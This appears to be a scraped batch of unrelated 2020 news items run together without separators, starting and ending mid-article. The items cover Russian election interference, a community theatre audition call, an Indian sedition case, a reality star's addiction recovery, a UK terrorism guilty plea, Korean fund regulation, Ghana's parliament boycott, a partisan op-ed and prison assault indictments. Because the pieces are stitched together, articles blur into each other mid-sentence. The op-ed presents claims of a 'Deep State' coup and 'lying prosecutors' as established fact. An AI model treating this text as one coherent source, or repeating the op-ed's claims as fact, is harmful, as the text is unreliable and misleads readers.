indeed interfered in the 2016 presidential election in sweeping and systematic fashion, but did so without conspiring with the Trump campaign. CNN anchor Jake Tapper on Friday pushed back on the reporting surrounding Maguires departure, claiming that an intelligence source I know and trust challenged the narrative that U.S. intelligence concluded Russia is trying to help Trump again. The reality is a step short of the conclusion that the Russians have developed a preference for Trump, Tapper quoted the anonymous national security official on Twitter as saying. Its more that they understand the president is someone they can work with, hes a dealmaker. But not that they prefer him over Sanders or Buttigieg or anyone else, the official said, adding that both Democrats and Republicans were challenging this at the briefing. Story continues The source went on to explain that Trump was upset he heard about an intelligence conclusion from a House Republican rather than from the intelligence community and was out of joint with Maguire on that process. Maguire was ousted on Thursday and replaced with U.S. Ambassador to Germany Richard Grenell, his sudden departure causing consternation among the Intelligence Community. Trump himself later pushed back on the claim that he was the favorite candidate of Russia, accusing Democrats of spearheading the narrative. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates, Trump wrote on Twitter. More from National Review GOSHEN Goshen Players, Inc, will hold open auditions for its June 2020 production, Lost In Yonkers by Neil Simon. The production will be directed by Lea Dmytryck. Auditions will be held at 5 p.m. March 15 and 7 p.m. March 16, with callbacks if needed at 7 p.m. March 18. All auditions will be held at the Goshen Old Town Hall, 2 North St., at the Rotary Junction of Rts 4 & 63 in Goshen. Those who would like to audition but cannot make the scheduled times should contact the director to make alternate arrangements. All roles are available for audition. Production dates are June 5, 6, 12, 13, 19 and 20 at 8 p.m. and June 7 and 14 at 3 p.m. Two men, three women and two teenage boys are needed for this production: Jay, 15 and a half years old, forced to be more mature than he wishes. His mothers death and his fathers departure make him feel responsible for his younger brother, Arty. Arty, 13 and a half years old, is more of an observer than others. Can be a little childish and goes with the flow Bella, Jay and Artys 35 year old aunt. A very original woman, she is cowed by her mother but marches to the beat of her own (very loud) drummer. Louie, Jay and Artys flamboyant uncle. Seems to be a small time mobster. He can be fun and funny but also has a very dark side. Granma Kurnitz - Jay and Artys grandmother. A German immigrant who seems intolerant of weakness in others, she is blunt and all-knowing. She speaks with a heavy German accent. Eddie, Jay and Artys father. A widower forced to leave his sons behind in order to provide for his family, Eddie seems terrified of his mother but will do anything for those he loves. Gert - Jay and Artys aunt; She visits only when necessary and exhibits some trauma from her childhood in the form of inhaling while she speaks. Rehearsal schedule: Rehearsals will be scheduled based on the availability of the actors and the Directors. Attendance will be required at rehearsals May 31 and June 1-3, with absolutely no exceptions. About Lost In Yonkers: New York; 1942: Teenagers Jay and Arty Kurnitz wait, complaining of the heat, while their father Eddie convinces their grandmother to let them stay with her above her candy shop. Their mothers long terminal illness has bankrupted their father and in an effort to pay off the loans taken for her care, he must travel for work for a year. Though Grandma objects to the plan, Aunt Bella agrees and the matter is settled. The boys stay. Grandma seems to rule the roost with an iron fist, objecting to Bellas later hours and the teens indolent ways. But other forces are at work as Bellas relationship with a movie usher develops, their small-time hood uncle Louie turns up and a large sum of money is rumored to be in Grandmas possession. Bellas plans for marriage are shot down by her mother and she disappears for days following a hurtful argument. Aunt Gert arrives to care for Grandma. Bella returns and lets her mother know she does not need protection from her and that she is much more worldly than her mother ever has known. Affection is all she has ever wanted from her mother. In the end, Eddie returns for Arty and Jay, Louie stays safe, and Grandma and Bella live out an agreement which includes independence and affection, of a sort. For further information, visit goshenplayers.org/ Former Lok Sabha MP, Kirit Somaiya, slammed the pro-Pak sloganeer Amulya Leona and AIMIM spokesperson Waris Pathan for his communal statement on Friday, February 21. He targeted AIMIM Chief Asaddudin Owaisi and claimed that he is creating an atmosphere of hate in the country. Somaiya further said that criminal proceedings should be initiated against Waris Pathan. Kirit Somaiya slams Amulya Leona, Waris Pathan Talking about the pro-Pakistan slogans made by Amulya Leona in Bengaluru at an AIMIM rally, Kirit Somaiya said, "A young girl came from the stage of AIMIM and started raising pro-Pakistan slogans. This is happening due to the atmosphere created by Owaisi and his party." Read: Giriraj Singh won't stay out of communal spat; slams Asaduddin Owaisi's AIMIM, Cong & RJD He further slammed the AIMIM spokesperson and said, "We are not only shocked but sad. Once again there is planning to create 1947 like situation in India. What Waris Pathan is saying is a replica of Muhammad Ali Jinnah. Criminal proceeding should be initiated against Waris Pathan" Read: Amulya's father reacts to her 'Pakistan Zindabad' chant; says "What she said is wrong" Amulya's statement on Owaisi's platform The commotion at the event in Bengaluru erupted as an activist named Amulya managed to reach the stage and started shouting slogans -- 'Hindustan Zindabad' and 'Pakistan Zindabad. She seemingly wanted to differentiate between 'Pakistan Zindabad' and 'Hindustan Zindabad' but organisers and cops on duty whisked her away. Owaisi said, "I condemn this statement. The woman is not associated with us. Humare Liye Bharat Zindabad Tha, Zindabad Rahega." after rushing on to the stage. Read: Tejashwi Yadav demands Waris Pathan's arrest, calls AIMIM, 'BJP-aligned extremists' Waris Pathans controversial statement While threatening '15 crore will be tough on 100 crores' along similar lines, the former Byculla MLA and AIMIM spokesperson, Waris Pathan said that one must snatch 'Azadi' if not given. He added that the 'lionesses have made all sweat', referring to the Shaheen Bagh-like protests. AIMIM chief Owaisi who was in attendance at the rally was seen covering his face in response to Pathan's communal remark. "We have to take Azadi and that which is not given must be snatched. They are saying that we have sent our sisters ahead (Shaheen bagh). Only our tigresses have come out and you are sweating. Just understand if all of us come together then what will happen?," said Pathan adding, "We are 15 crores, but we are tough on the 100 crores, remember that." Read: MQM chief Altaf Hussain says Sindhis want liberation from slavery of Punjab in Pakistan For every negative story surrounding the struggle to recover from drug addiction, Mike The Situation Sorrentino has a positive affirmation to counteract it. Sitch has replaced classic Jersey Shore phrases like Cabs are here! with The comeback is greater than the set back and Living my best life. Nowadays, Sorrentino is less focused on fist-pumping and more dedicated to using his platform to spread positivity. Read on to find out how. Mike The Situation Sorrentino and Lauren Pesce | David Livingston/Getty Images Mikes struggle with addiction Its no secret that addiction impacted Sorrentinos life. Most of what he refers to as his wild 20s was captured on film. Throughout the early seasons of Jersey Shore, his misuse of pain killers was apparent. One of Sorrentinos lowest points was when he was filmed running headfirst into a concrete wall during the Italy season. Sorrentino sought treatment for his addiction a few times. Eventually, with the help and support of his college sweetheart, Lauren Pesce, Sorrentino found sobriety. He has remained sober for the last four years. How The Situation is impacting those in recovery As weve seen on Family Vacation, Sorrentino is nothing short of a positive influence on every one of his roommates. The same can be said about his fans. In addition to using the show, his social media presence, and YouTube channel as a platform to spread his positive message, The Situation also partners with Banyan Treatment Center to serve as an ambassador and positive reminder to those in recovery that change is possible. Banyan is an organization that offers addiction treatment in locations across the nation. The Sorrentinos recently paid a visit to their Philadelphia facility. While in town, the couple sat down with NBC 10 Philadelphia to discuss the partnership. Later, they surprised everyone at the center with a visit. In his interview, Sorrentino said he and his wife would share their story, experience, strength, and hope during their visit so that people who are in similar situations can understand that theyre not alone. The couple shared photos from Banyans Philadelphia center on their respective Instagram stories. Mike and Lauren Sorrentino Visit Banyan Treatment Center Philadelphia | @mikethesituation via Instagram How addiction has impacted Laurens life In addition to her husbands situation, addiction has also impacted Pesces life in other ways. Her younger brother, Christopher Pesce, passed away at the age of 25 from an overdose. In discussing their partnership with Banyan, Pesce says that she brings both the spousal perspective and the family perspective. She hopes that by bringing her brother and husbands stories to people, it will give others the ability to cope. Whats next for The Situation A new season of Jersey Shore: Family Vacation is around the corner, where fans will finally get to see the family reunited with Big Daddy Sitch. In past seasons of Jersey Shore, Sorrentino has openly discussed his progress in recovery, evening visiting a treatment center with Jenni JWoww Farley in a previous episode. Fans can expect that his positive trajectory will continue. In addition, Sorrentino and his wife will most likely maintain their partnership with Banyan Treatment Centers and inspire hope in others struggling with addiction. How to get help: In the U.S., contact the Substance Abuse and Mental Health Services Administration helpline at 1-800-662-4357. A female Islamic State supporter on Friday pleaded guilty to terrorism charges, including a plot to bomb London's famous St Paul's Cathedral landmark. Safiyya Amira Shaikh, a 36-year-old Muslim convert who was born Michelle Ramsden, was arrested in October last year following an undercover operation by counter-terrorism officers during which she sought the supply of bombs from them. At a hearing at the Old Bailey court in London on Thursday, she admitted to two terrorism offences and was remanded in custody to be sentenced at the same court on May 11. She made contact with a person she believed to be able to assist in preparing explosives; researched methods and decided on a plan to carry out a terrorist act," the Metropolitian police said. Police said she travelled to central London and stayed at a hotel in order to conduct reconnaissance, selected the hotel as a target for an explosive device; attended St Paul's Cathedral to scope it, for security and for the best place to plant a second explosive device. She met a person and supplied her with two bags, with the intention and belief that explosive devices would be fitted into the bags; prepared the words of a pledge of allegiance to Daesh, also known as Islamic State (ISIS), police said. Over the two months before her arrest in October 2019, Shaikh built up a relationship with two undercover officers who she believed were a husband-wife extremist team and exchanged messages through the encrypted social media app Telegram. She shared an image of St Paul's Cathedral with one of the two undercover officers and expressed a keenness to kill a lot of people in a place like that. The west London based UK-born woman converted to Islam in 2007 after being impressed by the kindness of her Muslim neighbours but seemed to have turned towards more extremist violent ideology of ISIS by 2015. Shaikh now faces life imprisonment after pleading guilty to one count of preparation of terrorist acts under the UK's Terrorism Act 2006 between 19 August 2019 and 10 October 2019, with the intention of committing acts of terrorism and engaging in conduct in preparation for giving effect to that intention. The second terror charge covers a count of dissemination of terrorist publications, by providing a service to others that enabled them to obtain, read, listen to or look at terrorist publications via Telegram'. Prosecutors in the case say her social media activity was intended as a direct or indirect encouragement or other inducement, or to constitute the provision of assistance, to the commission, preparation or instigation of acts of terrorism under the Terrorism Act. Every year thousands of reports from the public help police tackle the terrorist threat. If you see or hear something that doesn't seem right, trust your instincts and ACT by reporting it to police, the police said in a statement, in reference to its Action Counters Terrorism (ACT) campaign. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Kim Bo-eun The Asia Region Funds Passport (ARFP) system generated buzz when the initiative, led by the Asia Pacific Economic Cooperation to facilitate cross-border sale of investment schemes, was unveiled years earlier. Five countries _ Australia, New Zealand, Japan, Korea and Thailand _ will take part in the regulatory arrangement. In Korea, the system enabling the sale of funds of the four countries will go into effect in May 27. Cross-border sale of funds will become possible without regulatory approval by each country. The sale of funds will be governed by each country's regulations on customer protection. The system aims to strengthen the capacity, expertise and international competitiveness of financial markets in the region and the fund managing industry. For investors, the system aims to provide a more diverse range of investment opportunities. "The introduction of the Asia Region Funds Passport will make it easier for Korean asset managers to enter the Asian market and expand their investments into potential overseas markets beyond the limited investment base here," Financial Services Commission's then-Vice Chairman Kim Yong-beom said at a conference on the system held in May 2019. He said this could present opportunities for Korea to develop into a financial hub in Asia. But many questions can be raised over the system: are Korean asset managers competitive enough to benefit from the system? How far have we come in getting the system ready? Korean asset managers are lukewarm, at best, about the idea of being able to sell funds overseas. Select top ranking asset managers already have extensive global operations. "The system opens new sales channels for us," an official of one of the top firms said. "We are preparing to take part in the system." However, the majority of investment firms do not have global operations. They will not likely hold competitiveness in foreign markets, as brand recognition is crucial to benefit from the system. "Capabilities and circumstances differ according to each firm. Some may choose to focus on the local market. Those who are interested are reviewing their participation at the current stage," a Korea Financial Investment Association (KFIA) official said. Firms without global operations will need to find partners in foreign markets that will serve as sales channels for their funds. In the meantime, there are concerns that funds of foreign firms may take away market share of local firms. Firms of Australia and Japan, two of the world's largest fund-investor markets, are expected to benefit from the system. Australia has one of the most sophisticated asset management industries in the Asia Pacific based on their robust pension program. "Concerns can exist at a stage when Korea's financial industry develops. But the fund market here needs to become globalized," the KFIA official said. While the system will go into effect in May, this doesn't mean that foreign funds will immediately begin to be sold here and vice versa. Last month, the FSC gave a prior announcement of the legislation governing the system. It is currently in the process of collecting input from financial firms on the matter. The FSC plans to hold briefing sessions for firms to encourage them to take part. ARFP benchmarks Europe's Undertakings for the Collective Investment in Transferable Securities (UCITS) framework that allows for the sale of cross-Europe mutual funds. UCITS funds are perceived as safe and well-regulated investments. "It also took the UCITS framework about 10 years to get settled," an FSC official said. "The system needs to be viewed with a long-term perspective." She pointed out that like UCITS funds are regarded as safe investments, in the long-term, ARFP funds will be perceived the same way. More countries in Asia may join the framework, as several are currently reviewing the matter. Meanwhile, authorities may need to work on the tax system in order to attract the ARFP member states' firms to sell their products here. Another challenge is the fact that Korea is not an English speaking country. This serves as a hurdle for asset managing firms to sell their funds in English-speaking markets such as Australia or New Zealand and vice versa. So a key task is having key documents regarding the funds translated into English. The KFIA is currently working on this. Finally, banks and brokerages that will sell foreign funds will need to establish a new computer network for the enablement of the system. The Korea Securities Depository will work with financial firms on setting up the network. Panel that will examine bill to raise legal age of marriage has one woman member out of 31 Pro-Pakistan slogans: 'Woman charged with sedition had links with Naxals in the past' India oi-PTI Bengaluru, Feb 21: Karnataka Chief Minister B S Yediyurappa on Friday said the young woman who has been charged with sedition for raising pro-Pakistan slogans during an anti-CAA event here, had links with Naxals in the past. Amulya Leona had raised the 'Pakistan Zindabad' slogan thrice after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi. She was immediately taken into custody and subsequently produced before a judicial magistrate and sent to 14-day custody. A sedition case was also filed against her. "Importantly, the organisations that are behind people like Amulya and nurturing them, if we don''t take action against such organisations, such things won''t end. Prima facie it is clear that there is conspiracy going on to disturb law and order with such incidents," Yediyurappa said. Sedition case: Amulya Leona sent to 14-day judicial custody, father refuses to hire any lawyer Speaking to reporters in Mysuru, he said, "if organisations that are behind her are inquired into, things will come out. It is clear that she had links with Naxals in the past. In this backdrop she should be punished and the action should be taken against organisations that are behind here." Amulya's father himself has said she should be punished and should not get bail and that he will not seek protection for her, the chief minister added. Police will also be questioning the organisers of the event in connection with the incident, official sources said. Meanwhile, Amulya''s fatherWazi said action should be taken against her in accordance with the law, so that she corrects herself. "It is an unforgivable mistake, she has caused pain to Indians. I'm deeply disturbed...action should be taken against her in accordance with law, she is around 19, we will have to find out why she said it and who is behind it,"he added. "She is a bright girl...I have tried to tell her not to involve herself in such activities after I got to know she was involving in anti-CAA, NRC protests and complete her education first," he said. Woman raises pro-Pak slogans at anti-CAA stir in Bengaluru in the presence of AIMIM chief Owaisi He expressed apprehension over the possible health issues of his daughter. Police have provided security to Amulya''s residence at Koppa in Chikkamagaluru after some protesters had staged demonstrations, officials said. Several organisations held protests in the city on Friday against the incident. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 12:58 [IST] The Roots have been honored with their own Philly street: The 600 block of E. Passyunk Ave is being renamed "Avenue of the Roots." Read more Legendary Philadelphia musicians like Boyz II Men, Patti LaBelle, and Kenny Gamble and Leon Huff have been celebrated with their own stretches of city roadways, and now, another group is joining that list of honorees. The 600 block of Passyunk Avenue is being dedicated to Philly hip-hop act the Roots, thanks to a City Council resolution introduced Thursday by Councilmember Mark Squilla. The area, located between South and Bainbridge Streets, will receive the moniker Avenue of the Roots. The Roots started their performance experience by busking on the streets of Philadelphia, the resolution states. East Passyunk Avenue and South Street was one of their main locations. Councilmembers Kenyatta Johnson, Maria Quinones-Sanchez, and Cindy Bass co-sponsored the resolution. Brooklyn resident and activist Leroy McCarthy, who is behind similar honors in other cities for artists like the Notorious B.I.G. and Tupac Shakur, first reached out to Squillas office about the dedication, WHYY reported. The Avenue of the Roots addition was quick-moving, with new signage going up on the Queen Village block by Friday morning, according to Billy Penn. An official dedication ceremony will reportedly take place in May the same month the 13th-annual Roots Picnic is held across town at the Mann Center. Roots percussionist Ahmir Questlove Thompson reacted to the news on social media Friday, calling a broadcast of the City Council meeting in which the resolution was introduced a hell of a way to find out about the honor. "Does this mean what I think it means, he wrote. My favorite historical landmark is Fifth and South Street, Roots emcee Tariq Black Thought Trotter said of the block in 2017. Its where the Roots first started. The Roots have become one of the most recognizable hip-hop acts, and joined The Tonight Show With Jimmy Fallon as the house band in 2009. The Roots have taken Philadelphia with them on television nightly and to audiences worldwide, the resolution states. But the Roots are and will always be appreciated as a talented band from the streets of Philadelphia. The Real Housewives of Melbourne finally confirmed the official cast for its long-awaited fifth season this week. And while many old favourites like Gina Liano and Gamble Breaux are back, one memorable housewife that was missing from the cast is villain Pettifleur Berenger. Fans had a strong reaction to the casting announcement, with many rushing to social media to demand that Pettifleur return to the series. 'We need Pettifleur!' Real Housewives of Melbourne fans were distraught after Pettifleur Berenger (pictured) wasn't asked back for the show's upcoming fifth season 'Now all we need is Pettifleur and weve got a winning cast,' one tweeted. 'So sad that they did Pettifleur so wrong,' wrote another. 'Her and Gamble should of both been back in the same season again.' 'Ill be honest, I was kind of hoping Pettifleur and her special brand of narcissistic delusions would be brought back,' confessed another. One fan was so distraught at Pettifleur's absence that they said they needed to 'take a Xanax' to calm down. The fans have spoken! Real Housewives of Melbourne viewers flooded Twitter to demand Pettifleur's return The pint-sized Pettifleur is one of the most controversial Housewives to appear on the series over the years. Starring in seasons two and three, the 54-year-old was involved in some of the show's most memorable feuds. In season three, she accused Gamble Breaux of meeting her husband on a sugar daddy website. She then feuded with former BFF Lydia Schiavello for backstabbing her, before clashing with Jackie Gillies when the psychic wouldn't use her powers to find Pettifleur's son's misplaced birth certificate. 'I fixed it!' One fan shared a meme that showed Pettifleur as part of the new cast Tensions reached boiling point in Dubai, when the outspoken socialite threw an iconic tantrum during a dinner in the middle of the desert. Earlier this week, Foxtel confirmed that Gina, Gamble, Lydia, and Janet Roach would all be back for season five of the series. They will also be joined by three brand new Housewives: former CNN news anchor Anjali Rao, yoga teacher Cherry Dipietrantonio and 'champagne educator' Kyla Kirkpatrick. One of a kind! The pint-sized Pettifleur is one of the most controversial Housewives to appear on the series over the years Legendary: The outspoken socialite threw an iconic tantrum during a dinner in the middle of the desert in Dubai Jackie Gillies, Venus Behbahani-Clark, and Sally Bloomfield will not be returning. Gina recently revealed that she almost didn't return to the show due to the pressures of fame. 'It's a big responsibility having a public profile, even though I swear and carry on and maybe act a bit irresponsible,' the barrister told news.com.au. Old and new! Foxtel confirmed that Gina Liano, Janet Roach, Lydia Schiavello, and Gamble Breaux would all return, along with three brand new housewives. (All pictured together) She added: 'I got back into my own life, it was peaceful and I quite enjoyed it and I was hesitant to come back only for that reason. 'I think there might be a time where I don't come back just because my life will keep moving.' Gina had previously told Foxtel showrunners she wouldn't return to RHOM if her rival Sally Bloomfield remained a cast member. Fresh meat! The new cast features three brand new Housewives: former CNN news anchor Anjali Rao, yoga teacher Cherry Dipietrantonio and 'champagne educator' Kyla Kirkpatrick Foxtel's executive director of television Brian Walsh told The Kyle and Jackie O Show back in September last year that Gina has demanded her on-screen nemesis be axed. 'Where we left it last season is that Gina said she would not come back to the show if Sally was on the series, and that has taken us some time to resolve how we move forward,' Brian said at the time. The new season is set to begin filming in March and will air on Foxtel later this year. It couldn't get crazier. Call it a payback time.The Minority in Ghana's Parliament House staged an anticipated boycott when President Akufo-Addo was readying to deliver his 4th State Of The Union Address (SONA) yesterday. No kidding, they walked out like little ducklings following their mother in a pretty little line. Heaven knows where this move would lead them tomorrow. Was item 13 more important than SONA? I learned some minority members went back to the House to enjoy or feast on Jollof and Soda. 'Waa' Look! Days ahead of the SONA some minority MPs had hinted that they'd walk out. It therefore came as no surprise to their majority counterparts in the House. Haruna Iddrisu, Minority Leader of Parliament defiantly led the group out to spite the Majority but more specifically, send a message to the President who they've described as a 'dictator' and an autocratic leader. Prior to their exit they'd create a scene. There was embarrassment. There was drama and there was nuisance. The intrepid eyes of cameras flickered everywhere. It was a blissful day for the tech gadgets. And it seemed everybody's camera was fed well. There was plenty to feast on. Smartphones perhaps, became more than useful,, in the midst of the seemingly chaotic situation. There were two groups of paparazzi. The traditional group from the media houses and members of the diplomatic corp. Smackbogged by the turn of events the diplomats fetched their cellphones from their pockets and purses to record the bizarre scene. And flitting the august House like darts were jeers, interspersed with claps and stomps. The two sides booed one another for a considerable time period. House on Fire And did you know the honourables could sing? Cacaphonic songs by the two sides-- the Majority and Minority burst the seams of the Parliament building. The President looked on calmly. His eyes panned the setting. He saw the empty seats. He heard the cat calls and the taunts from the Minority NDC. But he was also serenaded by the Majority NPP MPs. They also filled the void left by the NDC MP,s (referring to the empty seats). For awhile ,it appeared all had gone bad. However, they showed some level of civility because the situation didn't turn into a brawl, as we've seen it happen elsewhere. No chairs were thrown at members. And no blows were traded. The Speaker of the House. Rt. Rev. Mike Aaron Ocqauye was as cool as a cucumber. He announced the presence of former Presidents Rawlings and Kufour. The Vice President Bawumia and the Chief Justice Kwasi Anin graced the occasion. Conspicuously missing though was former President Mahama. So, who'd have the last laugh? Ever since the opposition NDC was flipped over or turned upside down (defeated in the 2016 elections) like a turtle, the party has been trying desperately or helplessly to get back on its feet. It's been using pickets, protests, boycotts and threats of boycotts as means to get heard. It isn't a bad democratic exercise. Far better than throwing bombs and causing mayhem. Question however, is, are these threats and boycotts becoming too much and how much is too much? I think to the NDC not until the governing NPP yield to their demands, they won't stop. Until that's achieved nothing is too much. Would the Elephant yield though? In the aftermath of the dramatic boycott the Minority organised a press conference addressed by its leader, Hon. Haruna Iddrisu in Parliament to explain their action. According to them since becoming President of our republic, Akufo-Addo has conducted the affairs of state with the kind of "tyranny, despotism and authoritarianism" that frightens many objective observers. "We've in the face of extreme provocation exercised restraint and urged the president to depart from his perilous path that puts the democracy of our country at great risk. "Sadly, matters are totally out of control. The democracy we all toiled and sacrificed to establish is now threatened by the highhandedness of President Akufo-Addo. The man who in opposition styled himself as a champion democrat has turned out to be a nightmare and an existential threat to our fledgling democracy.. We continue to witness heightened impunity from officialdom," a part of the statement read. What was the President's message for Ghanaians? After the boisterous tidal waves, it seemed the president put the furore in his rearview mirror. Mr. Akufo-Addo touted some achievements chalked by his government .We've made significant strides, over the last three years in our fight against corruption, despite the skepticism of people with questionable records. We've strengthened the legal framework to fight corruption, with the help of this House, by passing into law the Witness Protection Act, 2018 (Act 959), the Office of the Special Prosecutor Act, 2018 (Act 959), the Right to Information (RTI) Act, 2019 (Act 989), and the Companies Act, 2019, (Act 992), which provides a framework for enacting a beneficial ownership register. On Budgetary He said the government, has increased budgetary allocations to all the accountability institutions of state, including the Parliament of Ghana, the Judiciary, Commission on Human Rights and Administrative Justice (CHRAJ), Economic and Organised Crime Office (EOCO), the Office of the Attorney General and Ministry of Justice; the Auditor-General, the Office of the Special Prosecutor and the Ghana Police Service, with annual increases between 25% and 34% between 2017 and 2019, he told the nation. What'd he have to say about almighty corruption? According to him some of the anti-corruption measures his government has put in place over the past three years have yielded results. We've also implemented a change from the opaque allocation of Ghanas oil blocks to a more transparent allocation process, and advisedly so. The opaque period, 2013 to 2016, saw, according to the Ministry of Energy, the signature of thirteen (13) petroleum agreements, from which fourteen (14) wells were to be drilled. Not a single well was drilled. In contrast, in my time, over the last three (3) years, there have been six (6) drilling campaigns on three (3) different blocks, with others on the way. We will drill more and find more oil. Some forty or more (40) high profile personalities are currently before the courts on various corruption charges and more are in the pipeline. I will like to repeat that if evidence of corruption is presented, no one will be spared, regardless of position or political affiliation. No one is above the law. That is the true meaning of equality before the law. Mr Speaker, as part of our strategy to modernise the economy, deliver government services efficiently, and curb corruption, Government has over the last three years embarked on a major program of digitisation of the economy with significant success. As of the end of last week, 9.2 million people have been registered for the National ID card, the Ghana card. Before the end of this year, Ghana will have a fully working national ID system, which will be a game-changer for our nation. Helicopters for police Meanwhile, government is procuring helicopters for the Ghana Police Service. This forms part of efforts to resource the police service well enough to fight crime, the president told parliament. He also announced that the number of police personnel has also been increased. Police numbers have been increased and will be increased further until we meet the recommended ratio. The police has been provided with tools and equipment including over 600 vehicles and incoming helicopters. The government will continue to work with the management of the police service to ensure that there is proper and adequate training in modern policing methods and equipping of the service to enable them deal with crime," Mr. Akufo-Addo gave the assurance. By Gordon Offin-Amaniampong A quick back-and-forth occurred over the last week between President Trump and the nation's federal judges. After lying to Attorney General Barr about seeking a minimum sentence, the prosecutors in the Roger Stone case (including two from the Mueller Crew) entered a harsh sentencing recommendation that he serve a decade behind bars for lying to Congress. President Trump rightly criticized the prosecutors for their double standard in persecuting one of his political allies while leaving Hillary, Huma, Brennan, Clapper, Comey, McCabe, and countless others free to lie, destroy evidence, and obstruct investigations with impunity. The president lit into Judge Amy Berman Jackson while Twitter-jousting by noting that she had not only presided over this political prosecution, gagging Roger Stone in the process, but also allowed the malicious prosecution of the president's former campaign chairman, Paul Manafort, denying him bail and leaving him in solitary confinement during his trial. Well, the Deep State collectively fainted. The four lying prosecutors resigned (as if they had planned this theatric episode beforehand). The press called President Trump a dictator. And the leadership of the 1,100-member Federal Judges Association called for an "emergency meeting" that simply "could not wait." Clearly, the Judicial Branch was gearing up for an unprecedented rebuke of the sitting president. A funny thing happened, however, on the way to the courthouse. Two things, actually. First, the jury forewoman in Stone's case outed herself as a die-hard Democrat who despises President Trump and his supporters as well as a former congressional candidate and far-left activist who still buys into the Russian collusion scam. She came out to defend the honor of the prosecutors in Stone's case but ended up revealing that, while Judge Jackson silenced Roger Stone from speaking to the public during his trial, the forewoman of the jury was busy posting daily anti-Trump polemics. Second, rather than cowering in intimidation, President Trump took the opportunity of an "emergency meeting" of the federal judges to publicly ask that they look into the well documented FISA Court fraud and the Judiciary's role in perpetrating the greatest political scandal in our nation's history: President Obama's use of the CIA and FBI to spy on the campaign of a presidential candidate from the opposing party and the subsequent use of such criminally obtained information to launch the Mueller probe and overturn the result of the 2016 election. Judge Jackson has decided to ignore both the jury forewoman's impropriety and Roger Stone's motion for a new trial and sentenced him to forty months behind bars. Apparently, you can take part in a coup and find yourself a paid contributor for cable news, but if you attempt to obstruct a coup, hell hath no fury like the Deep State scorned. The judges have postponed their planned "emergency meeting" indefinitely. Like most things the president says that cause alarm for the D.C. establishment, it is not the recklessness of his words, but their truthfulness that rattles them, and the more truth he slings their way, the more rattled they become. The judges realized they were about to make a consequential mistake by taking on directly the one person in the country not afraid to put the Judicial Branch in its place. And the Judicial Branch definitely needs to be put in its place. In light of this recent standoff between President Trump and the courts, Rasmussen Reports re-released polling done days after I.G. Horowitz's report on FISA abuse dropped in December. From that polling, a majority of Americans came to three conclusions: (1) the Deep State criminally conspired to prevent Donald Trump's presidency, (2) the actors involved should be imprisoned or immediately fired from the federal government, and (3) it is likely that no criminal punishment of any kind will actually occur. Talk about a damning indictment of America's criminal justice system! A majority of Americans believe that high-ranking members of President Obama's intelligence agencies and Justice Department actively conspired to manipulate the election for president and overturn its outcome and yet also believe that the perpetrators will suffer no consequences whatsoever. Welcome to America, the only nation in the world where you can attempt a coup and walk away scot-free. Talk about the Land of the Free! Those Americans living between the coasts have watched this slow-moving train wreck with increasing horror. The FBI and Justice Department have done everything in their power to torment President Trump by pursuing process crimes against his associates, while allowing members of Hillary Clinton's campaign and President Obama's government not only to escape charges for creating an international spy ring to take down President Trump, but to do so while laughing about it on television. While we wait to see whether U.S. attorney John Durham and Attorney General Barr actually have the intestinal fortitude to help right the ship of justice, most of us have given up holding our breath. Patience may well move mountains, but abused patience turns to fury. And while the federal courts go out of their way to push back against President Trump by issuing nationwide injunctions against his legal orders and permitting malicious prosecutions against his allies in their courtrooms, they are also quickening the day of their own long delayed judgment. Curses, like chickens, come home to roost. When federal judges decided long ago to become lawmakers with lifetime tenure, rather than impartial adjudicators adhering to the Constitution, they cursed themselves. This country's first act was to expel the most powerful king in the world. When the federal courts chose to become kings, they daringly did so without a navy. Hiding behind the sanctity of priestly robes was going to protect them for only so long; eventually, Americans would realize that tyranny with a gavel is not at all different from tyranny with a crown. With President Trump unafraid of standing up to a coequal branch of the federal government, the Judiciary may finally receive the comeuppance it deserves. One thing is certain: if he is ever to receive justice of any kind, President Trump must first take on the justice system. Editors note: A previous version of this story incorrectly said Tamik Kirkland was charged in 16 indictments from the Worcester District Attorneys office against those allegedly involved in attacking four correction officers at the Souza-Baranowski Correctional Center. A grand jury handed up a total of 109 indictments for 16 inmates who are accused of assaulting four correction officers at the Souza Baranowski Correctional Center in Lancaster on Jan. 10, the Worcester District Attorneys office said in a statement. All the guards were hospitalized after the attack, and only one has gone back to work. The men are accused of violent crimes, including a Springfield barbershop shooting, a machete attack and the stabbing of a woman 19 times, which landed them in the maximum-security prison. DOC personnel work every day to provide a safe environment for inmates, staff, visitors, and volunteers, the Massachusetts Department of Correction said in a statement. We are relieved that the injured officers are recovering and will support District Attorney Early offices with their investigation as necessary. Video of the attack shows an inmate swinging at a correction officer, striking him in the face and other prisoners joining in on the assault. The attack caused officials to place the facility on lockdown for roughly three weeks. During that time, twenty-three inmates were identified as combatants, and staff began a shake-up of the prison, according to Souza-Baranowski Superintendent Stephen Kenneway. Several prisoners were transferred out of the facility, and others were moved within the prison. Souza-Baranowski staff also received threats of assault, hostage-taking, rape and murder when the lockdown occurred, Kenneway said. Allegations were made by dozens of inmates as well that a tactical team stationed at the facility assaulted them in retaliation for the Jan. 10 attack, though, the prisoners claimed, they were not involved in the assault on the officers. The 16 incarcerated men allegedly involved in the Jan. 10 attack are charged on a joint venture theory with two counts of assault and battery causing serious bodily injury and four counts of assault and battery on a correction officer. Several of the prisoners have additional charges lodged against them, the district attorneys office said. The inmates, who are expected to be arraigned in Worcester Superior Court at future dates, have extensive rap sheets that put them in the criminal justice system. Some are still awaiting decisions in their cases, while others were sentenced years ago on a range of charges. Pedro Solis was convicted of killing Cherise Hill in Worcester in 2019. The 31-year-old was stabbed 19 times in 2015. (Scott J. Croteau/MassLive) Thats what snitches get Thirty-year-old Pedro Solis was convicted in 2019 of killing Cherise Hill in Worcester four years earlier. Hill had apparently witnessed a fight take place between Solis, Kevin Miranda and another man over a drug deal, and that was the motive for Solis killing her in 2015, authorities said. Solis and Miranda approached Hill on Dec. 2 and punched the 31-year-old woman after she was spotted by Solis at a gas station. Hill was then stabbed 19 times. Thats what snitches get, Solis allegedly told Miranda. A 2014 drive-by shooting in Worcester Marcus Muniz was found responsible for a drive-by shooting in Worcester in 2014. Though the incident did not result in any injuries, he was convicted of armed assault with intent to murder and assault with a dangerous weapon. He was also found guilty of various weapons charges. The 25-year-old, who shot into a crowd of people that included a pregnant woman, was allegedly firing at two men he had 